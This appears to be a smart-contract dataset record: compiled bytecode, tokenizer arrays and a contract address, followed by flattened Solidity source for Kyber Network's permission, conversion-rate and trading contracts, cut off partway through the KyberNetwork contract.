82015b828111156121c85782518255916020019190600101906121ad565b506121d49291506121d8565b5090565b5b808211156121d457600081556001016121d956fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c322e302e302d616c7068612e312b6f70656e67736e2e746573742e726563697069656e74496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a65645361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a26469706673582212202e415c2e31020f7e0c06aec53a0ed7980eb42164b47307f2e1e5f1f947a83d5164736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 19841, 2581, 27421, 24087, 2620, 2497, 2094, 2575, 10790, 2581, 2581, 26337, 11387, 2620, 2683, 6305, 19797, 16048, 21486, 2509, 2497, 2692, 2063, 2575, 2050, 2581, 2278, 2575, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1016, 1025, 12324, 1000, 1012, 1013, 2918, 16570, 4710, 2890, 6895, 14756, 3372, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 3229, 1013, 2219, 3085, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 21183, 12146, 1013, 29025, 19150, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,587
0x9708ac13652a70dd64d7aa848cce0e5e89414a51
pragma solidity 0.4.18; // File: contracts/ERC20Interface.sol // https://github.com/ethereum/EIPs/issues/20 interface ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); function decimals() public view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } // File: contracts/ConversionRatesInterface.sol interface ConversionRatesInterface { function recordImbalance( ERC20 token, int buyAmount, uint rateUpdateBlock, uint currentBlock ) public; function getRate(ERC20 token, uint currentBlockNumber, bool buy, uint qty) public view returns(uint); } // File: contracts/Utils.sol /// @title Kyber constants contract contract Utils { ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); uint constant internal PRECISION = (10**18); uint constant internal MAX_QTY = (10**28); // 10B tokens uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH uint constant internal MAX_DECIMALS = 18; uint constant internal ETH_DECIMALS = 18; mapping(address=>uint) internal decimals; function setDecimals(ERC20 token) internal { if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS; else decimals[token] = token.decimals(); } function getDecimals(ERC20 token) internal view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access uint tokenDecimals = decimals[token]; // technically, there might be token with decimals 0 // moreover, very possible that old tokens have decimals 0 // these tokens will just have higher gas fees. if(tokenDecimals == 0) return token.decimals(); return tokenDecimals; } function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(srcQty <= MAX_QTY); require(rate <= MAX_RATE); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION; } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals))); } } function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(dstQty <= MAX_QTY); require(rate <= MAX_RATE); //source quantity is rounded up. to avoid dest quantity being too low. uint numerator; uint denominator; if (srcDecimals >= dstDecimals) { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))); denominator = rate; } else { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty); denominator = (rate * (10**(dstDecimals - srcDecimals))); } return (numerator + denominator - 1) / denominator; //avoid rounding down errors } } // File: contracts/PermissionGroups.sol contract PermissionGroups { address public admin; address public pendingAdmin; mapping(address=>bool) internal operators; mapping(address=>bool) internal alerters; address[] internal operatorsGroup; address[] internal alertersGroup; uint constant internal MAX_GROUP_SIZE = 50; function PermissionGroups() public { admin = msg.sender; } modifier onlyAdmin() { require(msg.sender == admin); _; } modifier onlyOperator() { require(operators[msg.sender]); _; } modifier onlyAlerter() { require(alerters[msg.sender]); _; } function getOperators () external view returns(address[]) { return operatorsGroup; } function getAlerters () external view returns(address[]) { return alertersGroup; } event TransferAdminPending(address pendingAdmin); /** * @dev Allows the current admin to set the pendingAdmin address. * @param newAdmin The address to transfer ownership to. */ function transferAdmin(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(pendingAdmin); pendingAdmin = newAdmin; } /** * @dev Allows the current admin to set the admin in one tx. Useful initial deployment. * @param newAdmin The address to transfer ownership to. */ function transferAdminQuickly(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(newAdmin); AdminClaimed(newAdmin, admin); admin = newAdmin; } event AdminClaimed( address newAdmin, address previousAdmin); /** * @dev Allows the pendingAdmin address to finalize the change admin process. */ function claimAdmin() public { require(pendingAdmin == msg.sender); AdminClaimed(pendingAdmin, admin); admin = pendingAdmin; pendingAdmin = address(0); } event AlerterAdded (address newAlerter, bool isAdd); function addAlerter(address newAlerter) public onlyAdmin { require(!alerters[newAlerter]); // prevent duplicates. require(alertersGroup.length < MAX_GROUP_SIZE); AlerterAdded(newAlerter, true); alerters[newAlerter] = true; alertersGroup.push(newAlerter); } function removeAlerter (address alerter) public onlyAdmin { require(alerters[alerter]); alerters[alerter] = false; for (uint i = 0; i < alertersGroup.length; ++i) { if (alertersGroup[i] == alerter) { alertersGroup[i] = alertersGroup[alertersGroup.length - 1]; alertersGroup.length--; AlerterAdded(alerter, false); break; } } } event OperatorAdded(address newOperator, bool isAdd); function addOperator(address newOperator) public onlyAdmin { require(!operators[newOperator]); // prevent duplicates. require(operatorsGroup.length < MAX_GROUP_SIZE); OperatorAdded(newOperator, true); operators[newOperator] = true; operatorsGroup.push(newOperator); } function removeOperator (address operator) public onlyAdmin { require(operators[operator]); operators[operator] = false; for (uint i = 0; i < operatorsGroup.length; ++i) { if (operatorsGroup[i] == operator) { operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1]; operatorsGroup.length -= 1; OperatorAdded(operator, false); break; } } } } // File: contracts/Withdrawable.sol /** * @title Contracts that should be able to recover tokens or ethers * @author Ilan Doron * @dev This allows to recover any tokens or Ethers received in a contract. * This will prevent any accidental loss of tokens. */ contract Withdrawable is PermissionGroups { event TokenWithdraw(ERC20 token, uint amount, address sendTo); /** * @dev Withdraw all ERC20 compatible tokens * @param token ERC20 The address of the token contract */ function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin { require(token.transfer(sendTo, amount)); TokenWithdraw(token, amount, sendTo); } event EtherWithdraw(uint amount, address sendTo); /** * @dev Withdraw Ethers */ function withdrawEther(uint amount, address sendTo) external onlyAdmin { sendTo.transfer(amount); EtherWithdraw(amount, sendTo); } } // File: contracts/VolumeImbalanceRecorder.sol contract VolumeImbalanceRecorder is Withdrawable { uint constant internal SLIDING_WINDOW_SIZE = 5; uint constant internal POW_2_64 = 2 ** 64; struct TokenControlInfo { uint minimalRecordResolution; // can be roughly 1 cent uint maxPerBlockImbalance; // in twei resolution uint maxTotalImbalance; // max total imbalance (between rate updates) // before halting trade } mapping(address => TokenControlInfo) internal tokenControlInfo; struct TokenImbalanceData { int lastBlockBuyUnitsImbalance; uint lastBlock; int totalBuyUnitsImbalance; uint lastRateUpdateBlock; } mapping(address => mapping(uint=>uint)) public tokenImbalanceData; function VolumeImbalanceRecorder(address _admin) public { require(_admin != address(0)); admin = _admin; } function setTokenControlInfo( ERC20 token, uint minimalRecordResolution, uint maxPerBlockImbalance, uint maxTotalImbalance ) public onlyAdmin { tokenControlInfo[token] = TokenControlInfo( minimalRecordResolution, maxPerBlockImbalance, maxTotalImbalance ); } function getTokenControlInfo(ERC20 token) public view returns(uint, uint, uint) { return (tokenControlInfo[token].minimalRecordResolution, tokenControlInfo[token].maxPerBlockImbalance, tokenControlInfo[token].maxTotalImbalance); } function addImbalance( ERC20 token, int buyAmount, uint rateUpdateBlock, uint currentBlock ) internal { uint currentBlockIndex = currentBlock % SLIDING_WINDOW_SIZE; int recordedBuyAmount = int(buyAmount / int(tokenControlInfo[token].minimalRecordResolution)); int prevImbalance = 0; TokenImbalanceData memory currentBlockData = decodeTokenImbalanceData(tokenImbalanceData[token][currentBlockIndex]); // first scenario - this is not the first tx in the current block if (currentBlockData.lastBlock == currentBlock) { if (uint(currentBlockData.lastRateUpdateBlock) == rateUpdateBlock) { // just increase imbalance currentBlockData.lastBlockBuyUnitsImbalance += recordedBuyAmount; currentBlockData.totalBuyUnitsImbalance += recordedBuyAmount; } else { // imbalance was changed in the middle of the block prevImbalance = getImbalanceInRange(token, rateUpdateBlock, currentBlock); currentBlockData.totalBuyUnitsImbalance = int(prevImbalance) + recordedBuyAmount; currentBlockData.lastBlockBuyUnitsImbalance += recordedBuyAmount; currentBlockData.lastRateUpdateBlock = uint(rateUpdateBlock); } } else { // first tx in the current block int currentBlockImbalance; (prevImbalance, currentBlockImbalance) = getImbalanceSinceRateUpdate(token, rateUpdateBlock, currentBlock); currentBlockData.lastBlockBuyUnitsImbalance = recordedBuyAmount; currentBlockData.lastBlock = uint(currentBlock); currentBlockData.lastRateUpdateBlock = uint(rateUpdateBlock); currentBlockData.totalBuyUnitsImbalance = int(prevImbalance) + recordedBuyAmount; } tokenImbalanceData[token][currentBlockIndex] = encodeTokenImbalanceData(currentBlockData); } function setGarbageToVolumeRecorder(ERC20 token) internal { for (uint i = 0; i < SLIDING_WINDOW_SIZE; i++) { tokenImbalanceData[token][i] = 0x1; } } function getImbalanceInRange(ERC20 token, uint startBlock, uint endBlock) internal view returns(int buyImbalance) { // check the imbalance in the sliding window require(startBlock <= endBlock); buyImbalance = 0; for (uint windowInd = 0; windowInd < SLIDING_WINDOW_SIZE; windowInd++) { TokenImbalanceData memory perBlockData = decodeTokenImbalanceData(tokenImbalanceData[token][windowInd]); if (perBlockData.lastBlock <= endBlock && perBlockData.lastBlock >= startBlock) { buyImbalance += int(perBlockData.lastBlockBuyUnitsImbalance); } } } function getImbalanceSinceRateUpdate(ERC20 token, uint rateUpdateBlock, uint currentBlock) internal view returns(int buyImbalance, int currentBlockImbalance) { buyImbalance = 0; currentBlockImbalance = 0; uint latestBlock = 0; int imbalanceInRange = 0; uint startBlock = rateUpdateBlock; uint endBlock = currentBlock; for (uint windowInd = 0; windowInd < SLIDING_WINDOW_SIZE; windowInd++) { TokenImbalanceData memory perBlockData = decodeTokenImbalanceData(tokenImbalanceData[token][windowInd]); if (perBlockData.lastBlock <= endBlock && perBlockData.lastBlock >= startBlock) { imbalanceInRange += perBlockData.lastBlockBuyUnitsImbalance; } if (perBlockData.lastRateUpdateBlock != rateUpdateBlock) continue; if (perBlockData.lastBlock < latestBlock) continue; latestBlock = perBlockData.lastBlock; buyImbalance = perBlockData.totalBuyUnitsImbalance; if (uint(perBlockData.lastBlock) == currentBlock) { currentBlockImbalance = perBlockData.lastBlockBuyUnitsImbalance; } } if (buyImbalance == 0) { buyImbalance = imbalanceInRange; } } function getImbalance(ERC20 token, uint rateUpdateBlock, uint currentBlock) internal view returns(int totalImbalance, int currentBlockImbalance) { int resolution = int(tokenControlInfo[token].minimalRecordResolution); (totalImbalance, currentBlockImbalance) = getImbalanceSinceRateUpdate( token, rateUpdateBlock, currentBlock); totalImbalance *= resolution; currentBlockImbalance *= resolution; } function getMaxPerBlockImbalance(ERC20 token) internal view returns(uint) { return tokenControlInfo[token].maxPerBlockImbalance; } function getMaxTotalImbalance(ERC20 token) internal view returns(uint) { return tokenControlInfo[token].maxTotalImbalance; } function encodeTokenImbalanceData(TokenImbalanceData data) internal pure returns(uint) { // check for overflows require(data.lastBlockBuyUnitsImbalance < int(POW_2_64 / 2)); require(data.lastBlockBuyUnitsImbalance > int(-1 * int(POW_2_64) / 2)); require(data.lastBlock < POW_2_64); require(data.totalBuyUnitsImbalance < int(POW_2_64 / 2)); require(data.totalBuyUnitsImbalance > int(-1 * int(POW_2_64) / 2)); require(data.lastRateUpdateBlock < POW_2_64); // do encoding uint result = uint(data.lastBlockBuyUnitsImbalance) & (POW_2_64 - 1); result |= data.lastBlock * POW_2_64; result |= (uint(data.totalBuyUnitsImbalance) & (POW_2_64 - 1)) * POW_2_64 * POW_2_64; result |= data.lastRateUpdateBlock * POW_2_64 * POW_2_64 * POW_2_64; return result; } function decodeTokenImbalanceData(uint input) internal pure returns(TokenImbalanceData) { TokenImbalanceData memory data; data.lastBlockBuyUnitsImbalance = int(int64(input & (POW_2_64 - 1))); data.lastBlock = uint(uint64((input / POW_2_64) & (POW_2_64 - 1))); data.totalBuyUnitsImbalance = int(int64((input / (POW_2_64 * POW_2_64)) & (POW_2_64 - 1))); data.lastRateUpdateBlock = uint(uint64((input / (POW_2_64 * POW_2_64 * POW_2_64)))); return data; } } // File: contracts/ConversionRates.sol contract ConversionRates is ConversionRatesInterface, VolumeImbalanceRecorder, Utils { // bps - basic rate steps. one step is 1 / 10000 of the rate. struct StepFunction { int[] x; // quantity for each step. Quantity of each step includes previous steps. int[] y; // rate change per quantity step in bps. } struct TokenData { bool listed; // was added to reserve bool enabled; // whether trade is enabled // position in the compact data uint compactDataArrayIndex; uint compactDataFieldIndex; // rate data. base and changes according to quantity and reserve balance. // generally speaking. Sell rate is 1 / buy rate i.e. the buy in the other direction. uint baseBuyRate; // in PRECISION units. see KyberConstants uint baseSellRate; // PRECISION units. without (sell / buy) spread it is 1 / baseBuyRate StepFunction buyRateQtyStepFunction; // in bps. higher quantity - bigger the rate. StepFunction sellRateQtyStepFunction;// in bps. higher the qua StepFunction buyRateImbalanceStepFunction; // in BPS. higher reserve imbalance - bigger the rate. StepFunction sellRateImbalanceStepFunction; } /* this is the data for tokenRatesCompactData but solidity compiler optimizer is sub-optimal, and cannot write this structure in a single storage write so we represent it as bytes32 and do the byte tricks ourselves. struct TokenRatesCompactData { bytes14 buy; // change buy rate of token from baseBuyRate in 10 bps bytes14 sell; // change sell rate of token from baseSellRate in 10 bps uint32 blockNumber; } */ uint public validRateDurationInBlocks = 10; // rates are valid for this amount of blocks ERC20[] internal listedTokens; mapping(address=>TokenData) internal tokenData; bytes32[] internal tokenRatesCompactData; uint public numTokensInCurrentCompactData = 0; address public reserveContract; uint constant internal NUM_TOKENS_IN_COMPACT_DATA = 14; uint constant internal BYTES_14_OFFSET = (2 ** (8 * NUM_TOKENS_IN_COMPACT_DATA)); uint constant internal MAX_STEPS_IN_FUNCTION = 10; int constant internal MAX_BPS_ADJUSTMENT = 10 ** 11; // 1B % int constant internal MIN_BPS_ADJUSTMENT = -100 * 100; // cannot go down by more than 100% function ConversionRates(address _admin) public VolumeImbalanceRecorder(_admin) { } // solhint-disable-line no-empty-blocks function addToken(ERC20 token) public onlyAdmin { require(!tokenData[token].listed); tokenData[token].listed = true; listedTokens.push(token); if (numTokensInCurrentCompactData == 0) { tokenRatesCompactData.length++; // add new structure } tokenData[token].compactDataArrayIndex = tokenRatesCompactData.length - 1; tokenData[token].compactDataFieldIndex = numTokensInCurrentCompactData; numTokensInCurrentCompactData = (numTokensInCurrentCompactData + 1) % NUM_TOKENS_IN_COMPACT_DATA; setGarbageToVolumeRecorder(token); setDecimals(token); } function setCompactData(bytes14[] buy, bytes14[] sell, uint blockNumber, uint[] indices) public onlyOperator { require(buy.length == sell.length); require(indices.length == buy.length); require(blockNumber <= 0xFFFFFFFF); uint bytes14Offset = BYTES_14_OFFSET; for (uint i = 0; i < indices.length; i++) { require(indices[i] < tokenRatesCompactData.length); uint data = uint(buy[i]) | uint(sell[i]) * bytes14Offset | (blockNumber * (bytes14Offset * bytes14Offset)); tokenRatesCompactData[indices[i]] = bytes32(data); } } function setBaseRate( ERC20[] tokens, uint[] baseBuy, uint[] baseSell, bytes14[] buy, bytes14[] sell, uint blockNumber, uint[] indices ) public onlyOperator { require(tokens.length == baseBuy.length); require(tokens.length == baseSell.length); require(sell.length == buy.length); require(sell.length == indices.length); for (uint ind = 0; ind < tokens.length; ind++) { require(tokenData[tokens[ind]].listed); tokenData[tokens[ind]].baseBuyRate = baseBuy[ind]; tokenData[tokens[ind]].baseSellRate = baseSell[ind]; } setCompactData(buy, sell, blockNumber, indices); } function setQtyStepFunction( ERC20 token, int[] xBuy, int[] yBuy, int[] xSell, int[] ySell ) public onlyOperator { require(xBuy.length == yBuy.length); require(xSell.length == ySell.length); require(xBuy.length <= MAX_STEPS_IN_FUNCTION); require(xSell.length <= MAX_STEPS_IN_FUNCTION); require(tokenData[token].listed); tokenData[token].buyRateQtyStepFunction = StepFunction(xBuy, yBuy); tokenData[token].sellRateQtyStepFunction = StepFunction(xSell, ySell); } function setImbalanceStepFunction( ERC20 token, int[] xBuy, int[] yBuy, int[] xSell, int[] ySell ) public onlyOperator { require(xBuy.length == yBuy.length); require(xSell.length == ySell.length); require(xBuy.length <= MAX_STEPS_IN_FUNCTION); require(xSell.length <= MAX_STEPS_IN_FUNCTION); require(tokenData[token].listed); tokenData[token].buyRateImbalanceStepFunction = StepFunction(xBuy, yBuy); tokenData[token].sellRateImbalanceStepFunction = StepFunction(xSell, ySell); } function setValidRateDurationInBlocks(uint duration) public onlyAdmin { validRateDurationInBlocks = duration; } function enableTokenTrade(ERC20 token) public onlyAdmin { require(tokenData[token].listed); require(tokenControlInfo[token].minimalRecordResolution != 0); tokenData[token].enabled = true; } function disableTokenTrade(ERC20 token) public onlyAlerter { require(tokenData[token].listed); tokenData[token].enabled = false; } function setReserveAddress(address reserve) public onlyAdmin { reserveContract = reserve; } function recordImbalance( ERC20 token, int buyAmount, uint rateUpdateBlock, uint currentBlock ) public { require(msg.sender == reserveContract); if (rateUpdateBlock == 0) rateUpdateBlock = getRateUpdateBlock(token); return addImbalance(token, buyAmount, rateUpdateBlock, currentBlock); } /* solhint-disable function-max-lines */ function getRate(ERC20 token, uint currentBlockNumber, bool buy, uint qty) public view returns(uint) { // check if trade is enabled if (!tokenData[token].enabled) return 0; if (tokenControlInfo[token].minimalRecordResolution == 0) return 0; // token control info not set // get rate update block bytes32 compactData = tokenRatesCompactData[tokenData[token].compactDataArrayIndex]; uint updateRateBlock = getLast4Bytes(compactData); if (currentBlockNumber >= updateRateBlock + validRateDurationInBlocks) return 0; // rate is expired // check imbalance int totalImbalance; int blockImbalance; (totalImbalance, blockImbalance) = getImbalance(token, updateRateBlock, currentBlockNumber); // calculate actual rate int imbalanceQty; int extraBps; int8 rateUpdate; uint rate; if (buy) { // start with base rate rate = tokenData[token].baseBuyRate; // add rate update rateUpdate = getRateByteFromCompactData(compactData, token, true); extraBps = int(rateUpdate) * 10; rate = addBps(rate, extraBps); // compute token qty qty = getTokenQty(token, rate, qty); imbalanceQty = int(qty); totalImbalance += imbalanceQty; // add qty overhead extraBps = executeStepFunction(tokenData[token].buyRateQtyStepFunction, int(qty)); rate = addBps(rate, extraBps); // add imbalance overhead extraBps = executeStepFunction(tokenData[token].buyRateImbalanceStepFunction, totalImbalance); rate = addBps(rate, extraBps); } else { // start with base rate rate = tokenData[token].baseSellRate; // add rate update rateUpdate = getRateByteFromCompactData(compactData, token, false); extraBps = int(rateUpdate) * 10; rate = addBps(rate, extraBps); // compute token qty imbalanceQty = -1 * int(qty); totalImbalance += imbalanceQty; // add qty overhead extraBps = executeStepFunction(tokenData[token].sellRateQtyStepFunction, int(qty)); rate = addBps(rate, extraBps); // add imbalance overhead extraBps = executeStepFunction(tokenData[token].sellRateImbalanceStepFunction, totalImbalance); rate = addBps(rate, extraBps); } if (abs(totalImbalance) >= getMaxTotalImbalance(token)) return 0; if (abs(blockImbalance + imbalanceQty) >= getMaxPerBlockImbalance(token)) return 0; return rate; } /* solhint-enable function-max-lines */ function getBasicRate(ERC20 token, bool buy) public view returns(uint) { if (buy) return tokenData[token].baseBuyRate; else return tokenData[token].baseSellRate; } function getCompactData(ERC20 token) public view returns(uint, uint, byte, byte) { require(tokenData[token].listed); uint arrayIndex = tokenData[token].compactDataArrayIndex; uint fieldOffset = tokenData[token].compactDataFieldIndex; return ( arrayIndex, fieldOffset, byte(getRateByteFromCompactData(tokenRatesCompactData[arrayIndex], token, true)), byte(getRateByteFromCompactData(tokenRatesCompactData[arrayIndex], token, false)) ); } function getTokenBasicData(ERC20 token) public view returns(bool, bool) { return (tokenData[token].listed, tokenData[token].enabled); } /* solhint-disable code-complexity */ function getStepFunctionData(ERC20 token, uint command, uint param) public view returns(int) { if (command == 0) return int(tokenData[token].buyRateQtyStepFunction.x.length); if (command == 1) return tokenData[token].buyRateQtyStepFunction.x[param]; if (command == 2) return int(tokenData[token].buyRateQtyStepFunction.y.length); if (command == 3) return tokenData[token].buyRateQtyStepFunction.y[param]; if (command == 4) return int(tokenData[token].sellRateQtyStepFunction.x.length); if (command == 5) return tokenData[token].sellRateQtyStepFunction.x[param]; if (command == 6) return int(tokenData[token].sellRateQtyStepFunction.y.length); if (command == 7) return tokenData[token].sellRateQtyStepFunction.y[param]; if (command == 8) return int(tokenData[token].buyRateImbalanceStepFunction.x.length); if (command == 9) return tokenData[token].buyRateImbalanceStepFunction.x[param]; if (command == 10) return int(tokenData[token].buyRateImbalanceStepFunction.y.length); if (command == 11) return tokenData[token].buyRateImbalanceStepFunction.y[param]; if (command == 12) return int(tokenData[token].sellRateImbalanceStepFunction.x.length); if (command == 13) return tokenData[token].sellRateImbalanceStepFunction.x[param]; if (command == 14) return int(tokenData[token].sellRateImbalanceStepFunction.y.length); if (command == 15) return tokenData[token].sellRateImbalanceStepFunction.y[param]; revert(); } /* solhint-enable code-complexity */ function getRateUpdateBlock(ERC20 token) public view returns(uint) { bytes32 compactData = tokenRatesCompactData[tokenData[token].compactDataArrayIndex]; return getLast4Bytes(compactData); } function getListedTokens() public view returns(ERC20[]) { return listedTokens; } function getTokenQty(ERC20 token, uint ethQty, uint rate) internal view returns(uint) { uint dstDecimals = getDecimals(token); uint srcDecimals = ETH_DECIMALS; return calcDstQty(ethQty, srcDecimals, dstDecimals, rate); } function getLast4Bytes(bytes32 b) internal pure returns(uint) { // cannot trust compiler with not turning bit operations into EXP opcode return uint(b) / (BYTES_14_OFFSET * BYTES_14_OFFSET); } function getRateByteFromCompactData(bytes32 data, ERC20 token, bool buy) internal view returns(int8) { uint fieldOffset = tokenData[token].compactDataFieldIndex; uint byteOffset; if (buy) byteOffset = 32 - NUM_TOKENS_IN_COMPACT_DATA + fieldOffset; else byteOffset = 4 + fieldOffset; return int8(data[byteOffset]); } function executeStepFunction(StepFunction f, int x) internal pure returns(int) { uint len = f.y.length; for (uint ind = 0; ind < len; ind++) { if (x <= f.x[ind]) return f.y[ind]; } return f.y[len-1]; } function addBps(uint rate, int bps) internal pure returns(uint) { require(rate <= MAX_RATE); require(bps >= MIN_BPS_ADJUSTMENT); require(bps <= MAX_BPS_ADJUSTMENT); uint maxBps = 100 * 100; return (rate * uint(int(maxBps) + bps)) / maxBps; } function abs(int x) internal pure returns(uint) { if (x < 0) return uint(-1 * x); else return uint(x); } } // File: contracts/ExpectedRateInterface.sol interface ExpectedRateInterface { function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view returns (uint expectedRate, uint slippageRate); } // File: contracts/FeeBurnerInterface.sol interface FeeBurnerInterface { function handleFees (uint tradeWeiAmount, address reserve, address wallet) public returns(bool); } // File: contracts/KyberReserveInterface.sol /// @title Kyber Reserve contract interface KyberReserveInterface { function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool); function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint); } // File: contracts/WhiteListInterface.sol contract WhiteListInterface { function getUserCapInWei(address user) external view returns (uint userCapWei); } // File: contracts/KyberNetwork.sol //////////////////////////////////////////////////////////////////////////////////////////////////////// /// @title Kyber Network main contract contract KyberNetwork is Withdrawable, Utils { uint public negligibleRateDiff = 10; // basic rate steps will be in 0.01% KyberReserveInterface[] public reserves; mapping(address=>bool) public isReserve; WhiteListInterface public whiteListContract; ExpectedRateInterface public expectedRateContract; FeeBurnerInterface public feeBurnerContract; uint public maxGasPrice = 50 * 1000 * 1000 * 1000; // 50 gwei bool public enabled = false; // network is enabled mapping(bytes32=>uint) public info; // this is only a UI field for external app. mapping(address=>mapping(bytes32=>bool)) public perReserveListedPairs; function KyberNetwork(address _admin) public { require(_admin != address(0)); admin = _admin; } event EtherReceival(address indexed sender, uint amount); /* solhint-disable no-complex-fallback */ function() public payable { require(isReserve[msg.sender]); EtherReceival(msg.sender, msg.value); } /* solhint-enable no-complex-fallback */ event ExecuteTrade(address indexed sender, ERC20 src, ERC20 dest, uint actualSrcAmount, uint actualDestAmount); /// @notice use token address ETH_TOKEN_ADDRESS for ether /// @dev makes a trade between src and dest token and send dest token to destAddress /// @param src Src token /// @param srcAmount amount of src tokens /// @param dest Destination token /// @param destAddress Address to send tokens to /// @param maxDestAmount A limit on the amount of dest tokens /// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled. /// @param walletId is the wallet ID to send part of the fees /// @return amount of actual dest tokens function trade( ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount, uint minConversionRate, address walletId ) public payable returns(uint) { require(enabled); uint userSrcBalanceBefore; uint userSrcBalanceAfter; uint userDestBalanceBefore; uint userDestBalanceAfter; userSrcBalanceBefore = getBalance(src, msg.sender); if (src == ETH_TOKEN_ADDRESS) userSrcBalanceBefore += msg.value; userDestBalanceBefore = getBalance(dest, destAddress); uint actualDestAmount = doTrade(src, srcAmount, dest, destAddress, maxDestAmount, minConversionRate, walletId ); require(actualDestAmount > 0); userSrcBalanceAfter = getBalance(src, msg.sender); userDestBalanceAfter = getBalance(dest, destAddress); require(userSrcBalanceAfter <= userSrcBalanceBefore); require(userDestBalanceAfter >= userDestBalanceBefore); require((userDestBalanceAfter - userDestBalanceBefore) >= calcDstQty((userSrcBalanceBefore - userSrcBalanceAfter), getDecimals(src), getDecimals(dest), minConversionRate)); return actualDestAmount; } event AddReserveToNetwork(KyberReserveInterface reserve, bool add); /// @notice can be called only by admin /// @dev add or deletes a reserve to/from the network. /// @param reserve The reserve address. /// @param add If true, the add reserve. Otherwise delete reserve. function addReserve(KyberReserveInterface reserve, bool add) public onlyAdmin { if (add) { require(!isReserve[reserve]); reserves.push(reserve); isReserve[reserve] = true; AddReserveToNetwork(reserve, true); } else { isReserve[reserve] = false; // will have trouble if more than 50k reserves... for (uint i = 0; i < reserves.length; i++) { if (reserves[i] == reserve) { reserves[i] = reserves[reserves.length - 1]; reserves.length--; AddReserveToNetwork(reserve, false); break; } } } } event ListReservePairs(address reserve, ERC20 src, ERC20 dest, bool add); /// @notice can be called only by admin /// @dev allow or prevent a specific reserve to trade a pair of tokens /// @param reserve The reserve address. /// @param src Src token /// @param dest Destination token /// @param add If true then enable trade, otherwise delist pair. function listPairForReserve(address reserve, ERC20 src, ERC20 dest, bool add) public onlyAdmin { (perReserveListedPairs[reserve])[keccak256(src, dest)] = add; if (src != ETH_TOKEN_ADDRESS) { if (add) { src.approve(reserve, 2**255); // approve infinity } else { src.approve(reserve, 0); } } setDecimals(src); setDecimals(dest); ListReservePairs(reserve, src, dest, add); } function setParams( WhiteListInterface _whiteList, ExpectedRateInterface _expectedRate, FeeBurnerInterface _feeBurner, uint _maxGasPrice, uint _negligibleRateDiff ) public onlyAdmin { require(_whiteList != address(0)); require(_feeBurner != address(0)); require(_expectedRate != address(0)); require(_negligibleRateDiff <= 100 * 100); // at most 100% whiteListContract = _whiteList; expectedRateContract = _expectedRate; feeBurnerContract = _feeBurner; maxGasPrice = _maxGasPrice; negligibleRateDiff = _negligibleRateDiff; } function setEnable(bool _enable) public onlyAdmin { if (_enable) { require(whiteListContract != address(0)); require(feeBurnerContract != address(0)); require(expectedRateContract != address(0)); } enabled = _enable; } function setInfo(bytes32 field, uint value) public onlyOperator { info[field] = value; } /// @dev returns number of reserves /// @return number of reserves function getNumReserves() public view returns(uint) { return reserves.length; } /// @notice should be called off chain with as much gas as needed /// @dev get an array of all reserves /// @return An array of all 